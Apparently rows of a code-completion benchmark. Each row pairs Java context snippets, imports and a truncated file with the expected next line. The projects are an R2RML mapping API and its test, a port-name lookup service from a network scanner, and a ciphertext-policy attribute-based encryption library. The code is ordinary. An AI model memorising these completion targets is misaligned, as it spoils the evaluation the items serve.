*\r\n * @param gms The list of GraphMaps that will be added.\r\n */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_GRAPH_MAP)\r\n public void addGraphMap(List<GraphMap> gms);\r\n\r\n /**\r\n * {@inheritDoc}\r\n *\r\n * The possible values for the term type are\r\n * (http://www.w3.org/TR/r2rml/#dfn-term-type>):<br>\r\n * - rr:IRI<br>\r\n * - rr:BlankNode\r\n */\r\n @Override\r\n public void setTermType(IRI typeIRI);\r\n\r\n /**\r\n * Get the class URI located at the given index.\r\n *\r\n * @param index The index of the class URI.\r\n * @return The class URI located at the given index.\r\n * @throws IndexOutOfBoundsException If the given index is out of range.\r\n */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_CLASS)\r\n public IRI getClass(int index);\r\n\r\n /**\r\n * Get the GraphMap located at the given index.\r\n *\r\n * @param index The index of the GraphMap.\r\n * @return The GraphMap located at the given index.\r\n * @throws IndexOutOfBoundsException If the given index is out of range.\r\n */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_GRAPH_MAP)\r\n public GraphMap getGraphMap(int index);\r\n\r\n /**\r\n * Returns an unmodifiable view of the list of classes that have been added\r\n * to this SubjectMap.\r\n *\r\n * @return An unmodifiable list of classes.\r\n */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_CLASS)\r\n public List<IRI> getClasses();\r\n\r\n /**\r\n * Returns an unmodifiable view of the list of GraphMaps that have been\r\n * added to this SubjectMap.\r\n *\r\n * @return An unmodifiable list of GraphMaps.\r\n */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_GRAPH_MAP)\r\n public List<GraphMap> getGraphMaps();\r\n\r\n /**\r\n * Remove the class given by the parameter, from the SubjectMap. The\r\n * subsequent class URIs in the list will be shifted left. The classURI\r\n * parameter must be an instance of the library's resource class.\r\n *\r\n * @param classURI The class that will be removed.\r\n */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_CLASS)\r\n public void removeClass(IRI classURI);\r\n\r\n /**\r\n * Remove the GraphMap given by the parameter, from the SubjectMap. The\r\n * subsequent GraphMaps in the list will be shifted left.\r\n *\r\n * @param gm The GraphMap to be removed.\r\n */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_GRAPH_MAP)\r\n public void removeGraphMap(GraphMap gm);\r\n\r\n}\r", "public interface Template {\r\n\r\n\t/**\r\n\t * Gets the string segment at the given index.\r\n\t * \r\n\t * @param segIndex\r\n\t * The index of the string segment.\r\n\t * @return The string segment at the given index.\r\n\t */\r\n\tString getStringSegment(int segIndex);\r\n\r\n /**\r\n * Gets the string segments\r\n * @return The string segments\r\n */\r\n List<String> getStringSegments();\r\n\r\n String getTemplateStringWithoutColumnNames();\r\n\r\n /**\r\n\t * Set the string segment on the given index. Any previously set segments on\r\n\t * this index will be removed. Adding a new string segment (that don't\r\n\t * overwrite older ones), must be done by adding it with an index one higher\r\n\t * that the previously highest index.\r\n\t * \r\n\t * @param segIndex\r\n\t * The index where the string segment will be set.\r\n\t * @param segment\r\n\t * The string segment to insert.\r\n\t * @throws IndexOutOfBoundsException\r\n\t * If the index is larger than the previously highest index plus\r\n\t * one.\r\n\t */\r\n\tvoid addStringSegment(int segIndex, String segment);\r\n\r\n\t/**\r\n\t * Gets the column name at the given index.\r\n\t * \r\n\t * @param colIndex\r\n\t * The index of the column name.\r\n\t * @return The column name at the given index.\r\n\t */\r\n\tString getColumnName(int colIndex);\r\n\r\n\t/**\r\n\t * Returns an unmodifiable view of all the column names in this template.\r\n\t * \r\n\t * @return An unmodifiable view of all column names.\r\n\t */\r\n\tList<String> getColumnNames();\r\n\r\n\t/**\r\n\t * Set the column name on the given index. Any previously set column names\r\n\t * on this index will be removed. Adding new column name (that don't\r\n\t * overwrite older ones), must be done by adding it with an index one higher\r\n\t * that the previously highest index.\r\n\t * \r\n\t * @param colIndex\r\n\t * The index where the column name will be set.\r\n\t * @param columnName\r\n\t * The column name to insert.\r\n\t * @throws IndexOutOfBoundsException\r\n\t * If the index is larger than the previously highest index plus\r\n\t * one.\r\n\t */\r\n\tvoid addColumnName(int colIndex, String columnName);\r\n}\r", "@W3C_R2RML_Recommendation(R2RMLVocabulary.TYPE_TRIPLES_MAP)\r\npublic interface TriplesMap extends MappingComponent {\r\n\r\n\t/**\r\n\t * Set the LogicalTable of this TriplesMap. A TriplesMap must have exactly\r\n\t * one LogicalTable.\r\n\t * \r\n\t * @param lt\r\n\t * The LogicalTable that will be added.\r\n\t */\r\n\t@W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_LOGICAL_TABLE)\r\n\tpublic void setLogicalTable(LogicalTable lt);\r\n\r\n\t/**\r\n\t * Set the SubjectMap of this TriplesMap. A TriplesMap must have exactly one\r\n\t * SubjectMap.\r\n\t * \r\n\t * @param sm\r\n\t * The SubjectMap that will be added.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_SUBJECT_MAP)\r\n\tpublic void setSubjectMap(SubjectMap sm);\r\n\r\n\t/**\r\n\t * Adds a PredicateObjectMap to this TriplesMap. The PredicateObjectMap will\r\n\t * be added to the end of the PredicateObjectMap list. A TriplesMap can have\r\n\t * any number of PredicateObjectMaps.\r\n\t * \r\n\t * @param pom\r\n\t * The PredicateObjectMap that will be added.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_PREDICATE_OBJECT_MAP)\r\n\tpublic void addPredicateObjectMap(PredicateObjectMap pom);\r\n\t\r\n\t/**\r\n\t * Adds a collection of PredicateObjectMaps to this TriplesMap. The PredicateObjectMap will\r\n\t * be added to the end of the PredicateObjectMap list. A TriplesMap can have\r\n\t * any number of PredicateObjectMaps.\r\n\t * \r\n\t * @param poms\r\n\t * The PredicateObjectMaps that will be added.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_PREDICATE_OBJECT_MAP)\r\n\tpublic void addPredicateObjectMaps(Collection<PredicateObjectMap> poms);\r\n\r\n\t/**\r\n\t * Get the LogicalTable associated with this TriplesMap.\r\n\t * \r\n\t * @return The LogicalTable of this TriplesMap.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_LOGICAL_TABLE)\r\n\tpublic LogicalTable getLogicalTable();\r\n\r\n\t/**\r\n\t * Get the SubjectMap associated with this TriplesMap.\r\n\t * \r\n\t * @return The SubjectMap of this TriplesMap.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_SUBJECT_MAP)\r\n\tpublic SubjectMap getSubjectMap();\r\n\r\n\t/**\r\n\t * Get the PredicateObjectMap located at the given index.\r\n\t * \r\n\t * @param index\r\n\t * The index of the PredicateObjectMap.\r\n\t * @return The PredicateObjectMap located at the given index.\r\n\t * @throws IndexOutOfBoundsException\r\n\t * If the given index is out of range.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_PREDICATE_OBJECT_MAP)\r\n\tpublic PredicateObjectMap getPredicateObjectMap(int index);\r\n\r\n\t/**\r\n\t * Returns an unmodifiable view of the list of PredicateObjectMaps that have\r\n\t * been added to this TriplesMap.\r\n\t * \r\n\t * @return An unmodifiable list of PredicateObjectMaps.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_PREDICATE_OBJECT_MAP)\r\n\tpublic List<PredicateObjectMap> getPredicateObjectMaps();\r\n\r\n\t/**\r\n\t * Remove the PredicateObjectMap given by the parameter, from the\r\n\t * TriplesMap. The subsequent PredicateObjectMaps in the list will be\r\n\t * shifted left.\r\n\t * \r\n\t * @param pom\r\n\t * The PredicateObjectMap to be removed.\r\n\t */\r\n @W3C_R2RML_Recommendation(R2RMLVocabulary.PROP_PREDICATE_OBJECT_MAP)\r\n\tpublic void removePredicateObjectMap(PredicateObjectMap pom);\r\n\r\n\t\r\n\r\n}\r" ]
import java.io.InputStream; import java.util.Collection; import java.util.Iterator; import eu.optique.r2rml.api.binding.rdf4j.RDF4JR2RMLMappingManager; import eu.optique.r2rml.api.model.impl.SQLBaseTableOrViewImpl; import org.apache.commons.rdf.api.IRI; import org.junit.Assert; import org.junit.Test; import org.eclipse.rdf4j.model.Model; import org.eclipse.rdf4j.model.impl.LinkedHashModel; import org.eclipse.rdf4j.rio.RDFFormat; import org.eclipse.rdf4j.rio.RDFParser; import org.eclipse.rdf4j.rio.Rio; import org.eclipse.rdf4j.rio.helpers.StatementCollector; import eu.optique.r2rml.api.model.LogicalTable; import eu.optique.r2rml.api.model.ObjectMap; import eu.optique.r2rml.api.model.PredicateMap; import eu.optique.r2rml.api.model.PredicateObjectMap; import eu.optique.r2rml.api.model.SubjectMap; import eu.optique.r2rml.api.model.Template; import eu.optique.r2rml.api.model.TriplesMap;
/******************************************************************************* * Copyright 2013, the Optique Consortium * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This first version of the R2RML API was developed jointly at the University of Oslo, * the University of Bolzano, La Sapienza University of Rome, and fluid Operations AG, * as part of the Optique project, www.optique-project.eu ******************************************************************************/ package rdf4jTest; /** * JUnit Test Cases * * @author Riccardo Mancini */ public class N3Syntax_Test { @Test public void test1() throws Exception { InputStream fis = getClass().getResourceAsStream("../mappingFiles/test24.ttl"); RDF4JR2RMLMappingManager mm = RDF4JR2RMLMappingManager.getInstance(); // Read the file into a model. RDFParser rdfParser = Rio.createParser(RDFFormat.N3); Model m = new LinkedHashModel(); rdfParser.setRDFHandler(new StatementCollector(m)); rdfParser.parse(fis, "testMapping"); Collection<TriplesMap> coll = mm.importMappings(m); Assert.assertTrue(coll.size()==1); Iterator<TriplesMap> it=coll.iterator(); while(it.hasNext()){ TriplesMap current=it.next();
SubjectMap s=current.getSubjectMap();
6
jonfryd/tifoon
tifoon-core/src/main/java/com/elixlogic/tifoon/domain/service/reporting/impl/WellKnownPortsLookupServiceImpl.java
[ "@Data\n@NoArgsConstructor\n@AllArgsConstructor\npublic class IanaServiceEntries {\n private List<IanaServiceEntry> ianaServiceEntries;\n}", "@Data\n@NoArgsConstructor\npublic class IanaServiceEntry {\n @CsvBindByName(column = \"Service Name\")\n private String serviceName;\n @CsvBindByName(column = \"Port Number\")\n private String portNumber; // Note: can actually be a range of ports!\n @CsvBindByName(column = \"Transport Protocol\")\n private String transportProtocol;\n @CsvBindByName(column = \"Description\")\n private String description;\n}", "@Data\n@NoArgsConstructor(access = AccessLevel.PRIVATE)\npublic class Port extends ReflectionObjectTreeAware implements Serializable {\n public static Comparator<Port> BY_PROTOCOL_THEN_PORT_NUMBER = Comparator.comparing(Port::getProtocol)\n .thenComparing(Comparator.comparing(Port::getPortNumber));\n\n private Protocol protocol;\n private int portNumber;\n\n // don't use auto-generation here, enforce use of setters\n public static Port from(@NonNull final Protocol _protocol, final int _portNumber) {\n final Port port = new Port();\n port.setProtocol(_protocol);\n port.setPortNumber(_portNumber);\n\n return port;\n }\n\n public void setPortNumber(final int _portNumber) {\n Assert.isTrue(_portNumber >= 0 && _portNumber <= 65535, String.format(\"port number %d not within 0-65535 range\", _portNumber));\n this.portNumber = _portNumber;\n }\n\n @Override\n public boolean equals(final Object _o) {\n if (this == _o) {\n return true;\n }\n\n if (_o == null || getClass() != _o.getClass()) {\n return false;\n }\n\n final Port port = (Port) _o;\n\n return new EqualsBuilder()\n .append(portNumber, port.portNumber)\n .append(protocol, port.protocol)\n .isEquals();\n }\n\n @Override\n public int hashCode() {\n return portNumber + protocol.ordinal() * 100000;\n }\n}", "public enum Protocol {\n TCP,\n UDP,\n SCTP\n}", "public interface WellKnownPortsLookupService {\n Optional<List<IanaServiceEntry>> getServices(Port _port);\n\n String getFormattedServiceNames(Protocol _protocol, int _portNumber);\n\n String getSingleFormattedServiceDescription(Protocol _protocol, int _portNumber);\n}", "@Configuration\n@EnablePluginRegistries({ExecutorPlugin.class, ScannerPlugin.class, IoPlugin.class})\n@Slf4j\npublic class PluginConfiguration implements Validator {\n private final CorePlugin<ScannerPlugin> scannerCorePlugin;\n private final CorePlugin<ExecutorPlugin> executorCorePlugin;\n private final CorePlugin<IoPlugin> saveCorePlugin;\n private final Map<String, IoPlugin> ioPluginsByExtension;\n\n @Autowired\n public PluginConfiguration(final CoreSettings _coreSettings,\n @Qualifier(\"scannerPluginRegistry\") final PluginRegistry<ScannerPlugin, String> _scannerPluginRegistry,\n @Qualifier(\"executorPluginRegistry\") final PluginRegistry<ExecutorPlugin, String> _executorPluginRegistry,\n @Qualifier(\"ioPluginRegistry\") final PluginRegistry<IoPlugin, String> _ioPluginRegistry) {\n // plugins are wrapped in CorePlugin objects to prevent circular Spring dependencies caused by adding Plugin beans here\n log.debug(\"Scanner plugins found: \" + _scannerPluginRegistry.getPlugins());\n\n final String scannerSupports = _coreSettings.getScanner().getToolName();\n scannerCorePlugin = new CorePlugin<>(scannerSupports, _scannerPluginRegistry.getPluginFor(scannerSupports));\n\n log.debug(\"Executor plugins found: \" + _executorPluginRegistry.getPlugins());\n\n final String executorSupports = _coreSettings.getCommandExecutor();\n executorCorePlugin = new CorePlugin<>(executorSupports, _executorPluginRegistry.getPluginFor(executorSupports));\n\n log.debug(\"IO plugins found: \" + _ioPluginRegistry.getPlugins());\n\n ioPluginsByExtension = new HashMap<>();\n\n // TODO: rewrite to Java 8 stream mapping\n for(final IoPlugin ioPlugin : _ioPluginRegistry.getPlugins()) {\n for(final String extension : ioPlugin.getFileExtensionsHandled()) {\n ioPluginsByExtension.put(extension, ioPlugin);\n }\n }\n\n final String ioSupports = _coreSettings.getSaveFormat();\n saveCorePlugin = new CorePlugin<>(ioSupports, _ioPluginRegistry.getPluginFor(ioSupports));\n }\n\n @Override\n public void validate() {\n Assert.isTrue(scannerCorePlugin.isInitialized(),\"Scanner plugin which supports '%s' not initialized\", scannerCorePlugin.getSupports());\n Assert.isTrue(executorCorePlugin.isInitialized(), \"Executor plugin which supports '%s' not initialized\", executorCorePlugin.getSupports());\n Assert.isTrue(saveCorePlugin.isInitialized(), \"IO plugin which supports '%s' not initialized\", saveCorePlugin.getSupports());\n }\n\n @Bean\n public CorePlugin<ScannerPlugin> scannerCorePlugin() {\n return scannerCorePlugin;\n }\n\n @Bean\n public CorePlugin<ExecutorPlugin> executorCorePlugin() {\n return executorCorePlugin;\n }\n\n @Bean\n public CorePlugin<IoPlugin> saveCorePlugin() {\n return saveCorePlugin;\n }\n\n @Nullable\n public IoPlugin getIoPluginByExtension(final String _extension) {\n return ioPluginsByExtension.get(_extension);\n }\n}", "public interface IoPlugin extends Plugin<String>, MetadataProvider {\n @Nullable\n <T> T load(InputStream _inputStream,\n Class<T> _rootClass,\n List<ListProperty> _listProperties,\n List<MapProperty> _mapProperties);\n\n void save(OutputStream _outputStream,\n Object _object,\n List<Class<?>> _asStringClasses);\n\n String getDefaultFileExtension();\n\n List<String> getFileExtensionsHandled();\n}" ]
import com.elixlogic.tifoon.domain.model.network.IanaServiceEntries; import com.elixlogic.tifoon.domain.model.network.IanaServiceEntry; import com.elixlogic.tifoon.domain.model.scanner.Port; import com.elixlogic.tifoon.domain.model.scanner.Protocol; import com.elixlogic.tifoon.domain.service.reporting.WellKnownPortsLookupService; import com.elixlogic.tifoon.infrastructure.config.PluginConfiguration; import com.elixlogic.tifoon.plugin.io.IoPlugin; import com.google.common.base.Preconditions; import com.opencsv.CSVReader; import com.opencsv.bean.CsvToBean; import com.opencsv.bean.HeaderColumnNameMappingStrategy; import lombok.NonNull; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.core.io.ClassPathResource; import org.springframework.stereotype.Service; import java.io.*; import java.net.URL; import java.net.URLConnection; import java.util.*; import java.util.stream.Collectors;
package com.elixlogic.tifoon.domain.service.reporting.impl; @Service @Slf4j
public class WellKnownPortsLookupServiceImpl implements WellKnownPortsLookupService {
4
TU-Berlin-SNET/JCPABE
src/main/java/cpabe/CpabeWeber.java
[ "public class Bsw07 {\n\n private static final String ATTRIBUTE_NOT_FOUND = \"an attribute was not found in the source private key\";\n private static final String ATTRIBUTES_DONT_SATISFY = \"decryption failed: attributes in key do not satisfy policy\";\n\n /**\n * Generate a secret master key. The public master key is part of the secret master key.\n */\n public static AbeSecretMasterKey setup() {\n AbePublicKey pub = new AbePublicKey(AbeSettings.curveParams);\n Element g = pub.getPairing().getG1().newRandomElement();\n Element alpha = pub.getPairing().getZr().newRandomElement();\n Element beta = pub.getPairing().getZr().newRandomElement();\n Element beta_inv = beta.duplicate().invert();\n\n Element h = g.duplicate().powZn(beta);\n Element f = g.duplicate().powZn(beta_inv);\n Element g_hat_alpha = g.duplicate().powZn(alpha);\n Element e_g_g_hat_alpha = pub.getPairing().pairing(g, g_hat_alpha);\n pub.setElements(g, h, f, e_g_g_hat_alpha);\n return new AbeSecretMasterKey(pub, beta, g_hat_alpha);\n }\n\n /**\n * Generate a private key with the given set of attributes (internal representation of attributes).\n */\n public static AbePrivateKey keygen(AbeSecretMasterKey msk, String[] attributes) {\n Element r = msk.getPublicKey().getPairing().getZr().newRandomElement();\n Element g_r = msk.getPublicKey().g.duplicate().powZn(r);\n ArrayList<Bsw07PrivateKeyComponent> components = generatePrivateKeyComponents(msk.getPublicKey(), g_r, attributes);\n Element beta_inv = msk.beta.duplicate().invert();\n Element prv_d = msk.g_alpha.duplicate().mul(g_r).powZn(beta_inv);\n return new AbePrivateKey(prv_d, components, msk.getPublicKey());\n }\n\n private static ArrayList<Bsw07PrivateKeyComponent> generatePrivateKeyComponents(AbePublicKey pub, Element g_r, String[] attributes) {\n ArrayList<Bsw07PrivateKeyComponent> components = new ArrayList<Bsw07PrivateKeyComponent>(attributes.length);\n for (String attribute : attributes) {\n Element hashedAttribute = Bsw07Util.elementG2FromString(attribute, pub);\n Element rp = pub.getPairing().getZr().newRandomElement();\n Element h_rp = hashedAttribute.duplicate().powZn(rp);\n Element comp_d = g_r.duplicate().mul(h_rp);\n Element comp_dp = pub.g.duplicate().powZn(rp);\n components.add(new Bsw07PrivateKeyComponent(hashedAttribute, comp_d, comp_dp));\n }\n return components;\n }\n\n /**\n * Generates additional attributes for a given value priv_d, which should come from a private key. The private key needs to\n * have been generated with the same master key as msk. The private key components returned by this method can be added to a\n * private key, thus adding the given attributes to the private key.\n *\n * @param msk\n * @param priv_d\n * @param newAttributes\n * @return\n */\n public static ArrayList<Bsw07PrivateKeyComponent> generateAdditionalAttributes(AbeSecretMasterKey msk, Element priv_d, String[] newAttributes) {\n Element g_r = priv_d.duplicate().powZn(msk.beta).div(msk.g_alpha);\n return generatePrivateKeyComponents(msk.getPublicKey(), g_r, newAttributes);\n }\n\n /**\n * Creates a new private key from an existing private key with a subset of the attributes.\n */\n public static AbePrivateKey delegate(AbePrivateKey oldPrivateKey, String[] attributesSubset) throws IllegalArgumentException {\n Element rt = oldPrivateKey.getPublicKey().getPairing().getZr().newRandomElement();\n Element g_rt = oldPrivateKey.getPublicKey().g.duplicate().powZn(rt);\n\n ArrayList<Bsw07PrivateKeyComponent> prv_comps = new ArrayList<Bsw07PrivateKeyComponent>(attributesSubset.length);\n for (String curAttribute : attributesSubset) {\n Element hashed_compAttribute = Bsw07Util.elementG2FromString(curAttribute, oldPrivateKey.getPublicKey());\n\n Bsw07PrivateKeyComponent componentSource = oldPrivateKey.getSatisfyingComponent(hashed_compAttribute);\n if (componentSource == null) {\n throw new IllegalArgumentException(ATTRIBUTE_NOT_FOUND);\n }\n Element rtp = oldPrivateKey.getPublicKey().getPairing().getZr().newRandomElement();\n Element h_rtp = hashed_compAttribute.duplicate().powZn(rtp);\n\n Element comp_d = g_rt.duplicate().mul(h_rtp).mul(componentSource.d);\n Element comp_dp = oldPrivateKey.getPublicKey().g.duplicate().powZn(rtp).mul(componentSource.dp);\n prv_comps.add(new Bsw07PrivateKeyComponent(hashed_compAttribute, comp_d, comp_dp));\n }\n Element f_at_rt = oldPrivateKey.getPublicKey().f.duplicate().powZn(rt);\n Element prv_d = oldPrivateKey.getD().duplicate().mul(f_at_rt);\n return new AbePrivateKey(prv_d, prv_comps, oldPrivateKey.getPublicKey());\n }\n\n /**\n * Pick a random group element and encrypt it under the specified access policy. The resulting ciphertext is returned.\n * <p/>\n * After using this function, it is normal to extract the random data in m using the pbc functions element_length_in_bytes and\n * element_to_bytes and use it as a key for hybrid encryption.\n * <p/>\n * The policy is specified as a simple string which encodes a postorder traversal of threshold tree defining the access\n * policy. As an example,\n * <p/>\n * \"foo bar fim 2of3 baf 1of2\"\n * <p/>\n * specifies a policy with two threshold gates and four leaves. It is not possible to specify an attribute with whitespace in\n * it (although \"_\" is allowed)\n */\n public static Bsw07CipherAndKey encrypt(AbePublicKey pub, String policy) throws AbeEncryptionException {\n Bsw07PolicyAbstractNode policyTree = Bsw07PolicyAbstractNode.parsePolicy(policy, pub);\n return encrypt(pub, policyTree);\n }\n\n public static Bsw07CipherAndKey encrypt(AbePublicKey pub, Bsw07PolicyAbstractNode policyTree) {\n Element s = pub.getPairing().getZr().newRandomElement();\n Element message = pub.getPairing().getGT().newRandomElement();\n Element cs = pub.e_g_g_hat_alpha.duplicate().powZn(s).mul(message);\n Element c = pub.h.duplicate().powZn(s);\n policyTree.fillPolicy(pub, s);\n return new Bsw07CipherAndKey(new Bsw07Cipher(policyTree, cs, c), message);\n }\n\n /**\n * Decrypt the specified ciphertext using the given private key, return the decrypted element m.\n * <p/>\n * Throws an exception if decryption was not possible.\n */\n public static Element decrypt(AbePrivateKey privateKey, Bsw07Cipher cipher) throws AbeDecryptionException {\n if (!canDecrypt(privateKey, cipher)) {\n throw new AbeDecryptionException(ATTRIBUTES_DONT_SATISFY);\n }\n cipher.policyTree.pickSatisfyMinLeaves(privateKey);\n Element t = privateKey.getPublicKey().getPairing().getGT().newElement();\n cipher.policyTree.decFlatten(t, privateKey);\n Element m = cipher.getCs().duplicate();\n m.mul(t); /* num_muls++; */\n t = privateKey.getPublicKey().getPairing().pairing(cipher.getC(), privateKey.getD()).invert();\n return m.mul(t); /* num_muls++; */\n }\n\n public static boolean canDecrypt(AbePrivateKey prv, Bsw07Cipher cph) {\n return cph.policyTree.isSatisfiable(prv);\n }\n\n public static ArrayList<Bsw07PrivateKeyComponent> generateAdditionalAttributes(AbeSecretMasterKey msk, Element priv_d, List<Element> newHashedAttributes) {\n Element g_r = priv_d.duplicate().powZn(msk.beta).div(msk.g_alpha);\n ArrayList<Bsw07PrivateKeyComponent> components = new ArrayList<Bsw07PrivateKeyComponent>(newHashedAttributes.size());\n for (Element hashedAttribute : newHashedAttributes) {\n Element rp = msk.getPublicKey().getPairing().getZr().newRandomElement();\n Element h_rp = hashedAttribute.duplicate().powZn(rp);\n Element comp_d = g_r.duplicate().mul(h_rp);\n Element comp_dp = msk.getPublicKey().g.duplicate().powZn(rp);\n components.add(new Bsw07PrivateKeyComponent(hashedAttribute, comp_d, comp_dp));\n }\n return components;\n }\n\n /**\n * Creates a private key that fulfills all attributes of the given cipher.\n *\n * @param secretKey\n * @param cph\n * @return\n * @throws AbeDecryptionException\n */\n public static AbePrivateKey keygen(AbeSecretMasterKey secretKey, Bsw07Cipher cph) {\n AbePrivateKey emptyKey = keygen(secretKey, new String[]{});\n\n List<Element> hashedAttributes = new ArrayList<Element>();\n ArrayList<Bsw07PolicyAbstractNode> curNodes = new ArrayList<Bsw07PolicyAbstractNode>();\n curNodes.add(cph.policyTree);\n\n while (!curNodes.isEmpty()) {\n Bsw07PolicyAbstractNode curNode = curNodes.remove(0);\n if (curNode instanceof Bsw07PolicyLeafNode) {\n hashedAttributes.add(((Bsw07PolicyLeafNode) curNode).getHashedAttribute());\n } else { // is ParentNode\n curNodes.addAll(((Bsw07PolicyParentNode) curNode).getChildren());\n }\n }\n\n AbePrivateKey filledKey = emptyKey.newKeyWithAddedAttributes(generateAdditionalAttributes(secretKey, emptyKey.getD(), hashedAttributes));\n return filledKey;\n }\n}", "public class Bsw07Cipher {\n /*\n * A ciphertext. Note that this library only handles encrypting a single group element, so if you want to encrypt something\n * bigger, you will have to use that group element as a symmetric key for hybrid encryption (which you do yourself).\n */\n public Bsw07PolicyAbstractNode policyTree;\n /**\n * GT\n **/\n private Element cs;\n /**\n * G1\n **/\n private Element c;\n\n public Bsw07Cipher(Bsw07PolicyAbstractNode policy, Element cs, Element c) {\n this.policyTree = policy;\n this.cs = cs;\n this.c = c;\n }\n\n public static Bsw07Cipher readFromStream(AbeInputStream stream) throws IOException {\n Element cs = stream.readElement();\n Element c = stream.readElement();\n Bsw07PolicyAbstractNode policyTree = Bsw07PolicyAbstractNode.readFromStream(stream);\n return new Bsw07Cipher(policyTree, cs, c);\n }\n\n public Element getCs() {\n return cs;\n }\n\n public Element getC() {\n return c;\n }\n\n public void writeToStream(AbeOutputStream stream) throws IOException {\n stream.writeElement(cs);\n stream.writeElement(c);\n policyTree.writeToStream(stream);\n }\n}", "public class Bsw07CipherAndKey {\n private Bsw07Cipher cipher;\n private Element key;\n\n public Bsw07CipherAndKey(Bsw07Cipher cipher, Element key) {\n this.cipher = cipher;\n this.key = key;\n }\n\n public Bsw07Cipher getCipher() {\n return cipher;\n }\n\n public Element getKey() {\n return key;\n }\n}", "public class AttributeParser {\n\n private final static String name = \"([a-zA-Z]\\\\w*)\";\n private final static String numberInt = \"(\\\\d+)\";\n // <name><whitespace>*=<whitespace>*<value>\n private final static Pattern NumericalAttributePattern = Pattern.compile(name + \"\\\\s*=\\\\s*\" + numberInt);\n // <name>:<lat>:<lon>\n private final static String numberDouble = \"(-?\\\\d+[\\\\.]\\\\d*)\"; // needs . as a seperator\n // <name>~<lat>~<lon>\n private final static Pattern AreaAttributePattern = Pattern.compile(name + \"~\" + numberDouble + \"~\" + numberDouble);\n private static NumberFormat numberFormat = DecimalFormat.getInstance(Locale.ENGLISH);\n\n private static StringBuffer getNumericalAttributeResult(String attribute, String number) throws ParseException {\n ArrayList<String> attributes = new ArrayList<String>();\n BigInteger unsignedLong = new BigInteger(number);\n Long value = unsignedLong.longValue();\n\n if (unsignedLong.compareTo(Util.unsignedToBigInteger(value)) != 0) {\n throw new ParseException(\"The number for the attribute \" + attribute + \" is too high (\" + number + \")\");\n }\n\n for (int i = 2; i <= Util.FLEXINT_MAXBITS/2; i *= 2) {\n attributes.add(String.format((Util.isLessThanUnsigned(value, (long) 1 << i) ? \"%s_lt_2^%02d\" : \"%s_ge_2^%02d\"), attribute, i));\n }\n\n for (int i = 0; i < Util.FLEXINT_MAXBITS; i++) {\n attributes.add(Util.bit_marker_flexint(attribute, i, (((long) 1 << i) & value) != 0)); // alternatively unsignedLong.testBit(i)\n }\n\n attributes.add(String.format(\"%s_%s_%d\", attribute, Util.FLEXINT_TYPE, Util.unsignedToBigInteger(value)));\n\n StringBuffer result = new StringBuffer();\n for (String s : attributes) {\n result.append(s).append(' ');\n }\n return result;\n }\n\n private static StringBuffer areaLocationToAttributes(String attributeName, String latString, String lonString) throws ParseException {\n double lat;\n double lon;\n try {\n lat = numberFormat.parse(latString).doubleValue();\n lon = numberFormat.parse(lonString).doubleValue();\n } catch (java.text.ParseException e) {\n throw new ParseException(\"Could not parse double: \" + e.getMessage());\n }\n StringBuffer result = new StringBuffer();\n\n BigInteger convertedLatitude = Util.convertLatitudeToLong(lat);\n BigInteger convertedLongitude = Util.convertLongitudeToLong(lon);\n\n result.append(getNumericalAttributeResult(attributeName + \"_lat\", convertedLatitude.toString()));\n result.append(' ');\n result.append(getNumericalAttributeResult(attributeName + \"_lng\", convertedLongitude.toString()));\n return result;\n }\n\n public static String parseAttributes(String attributes) throws ParseException {\n attributes = attributes.replace(\",\", \".\");\n // AttributeValue\n Matcher matched = NumericalAttributePattern.matcher(attributes);\n StringBuffer afterNumericalAttribute = new StringBuffer();\n while (matched.find()) {\n matched.appendReplacement(afterNumericalAttribute, getNumericalAttributeResult(matched.group(1), matched.group(2)).toString());\n }\n matched.appendTail(afterNumericalAttribute);\n\n // Areattribute\n matched = AreaAttributePattern.matcher(afterNumericalAttribute);\n StringBuffer finalResult = new StringBuffer();\n while (matched.find()) {\n matched.appendReplacement(finalResult, areaLocationToAttributes(matched.group(1), matched.group(2), matched.group(3)).toString());\n }\n matched.appendTail(finalResult);\n\n String finalResultAsString = finalResult.toString().replaceAll(\"\\\\s+\", \" \").trim();\n if (finalResultAsString.contains(\"=\")) {\n throw new ParseException(\"Error occured while parsing attribute string: \" + attributes);\n }\n return finalResultAsString;\n }\n}", "public class PolicyParsing {\n private static final BigInteger BI_2_32 = BigInteger.ONE.shiftLeft(32);\n private static final BigInteger BI_2_16 = BigInteger.ONE.shiftLeft(16);\n private static final BigInteger BI_2_08 = BigInteger.ONE.shiftLeft(8);\n private static final BigInteger BI_2_04 = BigInteger.ONE.shiftLeft(4);\n private static final BigInteger BI_2_02 = BigInteger.ONE.shiftLeft(2);\n\n private static final boolean IS_GREATER = true;\n private static final boolean IS_SMALLER = !IS_GREATER;\n\n public static String parsePolicy(String input) throws ParseException {\n try {\n ASTStart policy = ParseTree.createParseTree(input);\n return postFix(policy);\n } catch (TokenMgrError e) {\n throw new ParseException(e.getMessage());\n }\n }\n\n private static String postFix(ASTStart root) throws ParseException {\n return postFix_m(root).toString().trim();\n }\n\n private static StringBuffer postFix_m(Node current) throws ParseException {\n StringBuffer retVal = new StringBuffer(2000);\n\n for (int i = 0; i < current.jjtGetNumChildren(); i++) {\n Node child = current.jjtGetChild(i);\n 